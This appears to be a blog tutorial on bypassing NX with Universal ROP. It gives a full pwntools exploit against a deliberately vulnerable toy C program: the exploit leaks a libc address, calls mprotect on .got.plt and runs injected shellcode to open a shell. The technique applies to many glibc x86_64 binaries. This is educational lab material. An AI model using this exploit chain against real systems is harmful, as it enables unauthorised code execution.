Shellcode Injection - Old but gold

October 13, 2019
pwn x86 shellcode tutorial universal rop urop rop

Intro

Some time ago, a friend of mine (dag-tech), asked me about a technique to run a shellcode with NX enabled. So he gave me a simple program:

//src.c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
	char buf[16];
	puts("Can you pwn me????");
	read(0, buf, 512);
	return 0;
}
$ gcc -z noexecstack -fno-stack-protector -o vuln src.c
$ checksec vuln
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The approach

The issue with NX is that we cannot execute code in writable memory segment. So we should find a way to disable, at run-time, this protection.

Fortunately the mprotect function, in libc, just do this:

NAME
       mprotect — set protection of memory mapping

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(void *addr, size_t len, int prot);

DESCRIPTION
       The mprotect() function shall change the access protections to be that specified by prot for those whole pages containing any part of the address space of the  process  starting  at
       address  addr  and  continuing for len bytes. The parameter prot determines whether read, write, execute, or some combination of accesses are permitted to the data being mapped. The
       prot argument should be either PROT_NONE or the bitwise-inclusive OR of one or more of PROT_READ, PROT_WRITE, and PROT_EXEC.

So here the exploit plan:

We leak the puts address and we write the shellcode starting from the .got.plt segment address.

Exploitation

To build the ROP chain we use a general techinique, usable on any glibc x86_64 binary, called Universal ROP.

Basically we use the gadgets in the __libc_csu_init function, included by glibc in any x86_64 binary, to populate rdi, rsi and rdx.

These are, in fact, the first three registers used to pass argument to a function in x86_64 convention.

So we can call any function that accept up to three arguments, like mprotect.

Here the interesting part (so the gadgets..) of __libc_csu_init function:

0x004011b0      4c89f2         mov rdx, r14
0x004011b3      4c89ee         mov rsi, r13
0x004011b6      4489e7         mov edi, r12d
0x004011b9      41ff14df       call qword [r15 + rbx*8]
0x004011bd      4883c301       add rbx, 1
0x004011c1      4839dd         cmp rbp, rbx
0x004011c4      75ea           jne 0x4011b0
0x004011c6      4883c408       add rsp, 8
0x004011ca      5b             pop rbx
0x004011cb      5d             pop rbp
0x004011cc      415c           pop r12
0x004011ce      415d           pop r13
0x004011d0      415e           pop r14
0x004011d2      415f           pop r15
						0x004011d3	5f	pop rdi
0x004011d4      c3             ret		0x004011d4	c3	ret

Note that there could be differences between glibc version. Currently I’m using the libc-2.29. However the approach is the same.

We can easily identify:

However there are two issues to overwhelm before we can set rsi and rdx. In fact after the mov there are:

The latter should fail and this is is easily achievable because we control both rbx and rbp (thanks the pops at the bottom of the function). So we set rbx to 0 and rbp to 1.

The former requires a bit of work.. In fact r15 + rbx*8 should point to an instruction in a executable segment and it should not interfer with our exploit… However because rbx is equal to 0 the condition is reduced only to r15. And we control it thanks the pop r15 at the bottom of the function.

Nonetheless.. What value r15 should contain? A pointer to a function is an ideal candidate…

BINGO!

In every ELF executable there is a .fini_array section, that is an array of pointer to functions. These functions should be called when the program exit.

Let’s analyze this section with r2.

$ r2 -Ad vuln
[r2]> iS
...

19 0x00002e18     8 0x00403e18     8 -rw- .fini_array
...

[r2]> pxr 8 @0x00403e18
0x00403e18 0x0000000000401100   ..@..... @loc.__init_array_end 0
[r2]> pdf @0x0000000000401100
    0x00401100      f30f1efa       endbr64
    0x00401104      803d212f0000.  cmp byte [obj.completed.7387], 0
,=< 0x0040110b      7513           jne 0x401120
|   ...
|   ...
|  0x00401116      c6050f2f0000.  mov byte [obj.completed.7387], 1
|  0x0040111d      5d             pop rbp
`->0x00401120      c3             ret

So if [obj.completed.7387] is different than 0 this function acts like a NOP. And at 0x00401116 [obj.completed.7387] is set to 1…

PERFECT! :D

We have all elements in place.

So to recap: r15 should contain the .fini_array address but before the first element of the ROP chain we should call 0x00401116 to set obj.completed.7387 to 1. In this way the call acts like a NOP.

So here the exploit:

#!/usr/bin/python2

from pwn import *

prog = context.binary = ELF(os.getcwd() + "/vuln", checksec=False)

if len(sys.argv) > 1:
	host = sys.argv[1]
	port = 0
	t = remote(host, port)
else:
	t = prog.process()
	mprotect_offset = 0 # this is libc dependent

offset = 24
header = "A"*offset
shellcode = asm(shellcraft.sh())
gotplt  = prog.get_section_by_name(".got.plt").header.sh_addr
fini_array = prog.get_section_by_name(".fini_array").header.sh_addr
read = prog.plt["read"]
puts = prog.plt["puts"]
main = prog.symbols["main"]

prdi     = 0x004011d3 # pop rdi

brdx     = 0x004011ca # pop rbx
                      # pop rbp
                      # pop r12
                      # pop r13
                      # `pr14 stuff`

pr14     = 0x004011d0 # pop r14
                      # pop r15

mr14trdx = 0x004011b0 # mov rdx, r14
                      # mov rsi, r13
                      # mov edi, r12d
                      # call qword [r15 + rbx*8]
                      # add rbx, 1
                      # cmp rbp, rbx
                      # jne 0x4011b0 -> SHOULD FAIL
                      # add rsp, 8
                      # `brdx stuff`

completedToOne = 0x00401116 # mov byte [obj.completed], 1
                            # pop rbp

def init_urop():
	payload = p64(completedToOne)
	payload += "J"*8
	return payload

def urop(fn, rdi, rsi=0, rdx=0):
	payload = ""
	# set rsi and rdx
	payload += p64(brdx)
	payload += p64(0)   #rbx
	payload += p64(1)   #rbp
	payload += "J"*8    #r12
	payload += p64(rsi) #r13
	payload += p64(rdx) #r14
	payload += p64(fini_array) #r15
	payload += p64(mr14trdx)
	payload += "J"*56
	# set rdi
	payload += p64(prdi)
	payload += p64(rdi)
	# fn
	payload += p64(fn)
	return payload

# stage1: leak puts@libc, so get mprotect@libc.

payload = header
payload += init_urop()
payload += urop(puts, prog.got["puts"])
payload += p64(main)

t.recvuntil("Can you pwn me????\n")
t.sendline(payload)

puts_libc = u64(t.recvline().replace('\n', '').ljust(8, "\x00"))
mprotect_libc = puts_libc - mprotect_offset
log.info("puts@libc: {:#x}".format(puts_libc))
log.info("mprotect@libc: {:#x}".format(mprotect_libc))

# stage2: read(0, gotplt, len(shellcode))
#         mprotect(gotplt, len(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC)
#         jmp to the shellcode
payload = header
payload += urop(read, 0, gotplt, len(shellcode))
payload += urop(mprotect_libc, gotplt, len(shellcode), 7)
payload += p64(gotplt)

t.sendline(payload)
t.sendline(shellcode)
log.success("DONE")

t.recvrepeat(0.3)
t.interactive()
t.close()
$ ./exploit.py
[+] Starting local process '/path/to/vuln'
[*] puts@libc: puts_address
[*] mprotect@libc: mprotect_address
[+] DONE
[*] Switching to interactive mode
$ echo hi :)
hi :)
$

References

AUCTF 2020 Writeup - Remote School

April 20, 2020
ctf writeup pwn x86 auctf2020

AUCTF 2020 Writeup - Thanksgiving Dinner

April 19, 2020
ctf writeup pwn x86 auctf2020

AUCTF 2020 Writeup - House of Madness

April 19, 2020
ctf writeup pwn x86 auctf2020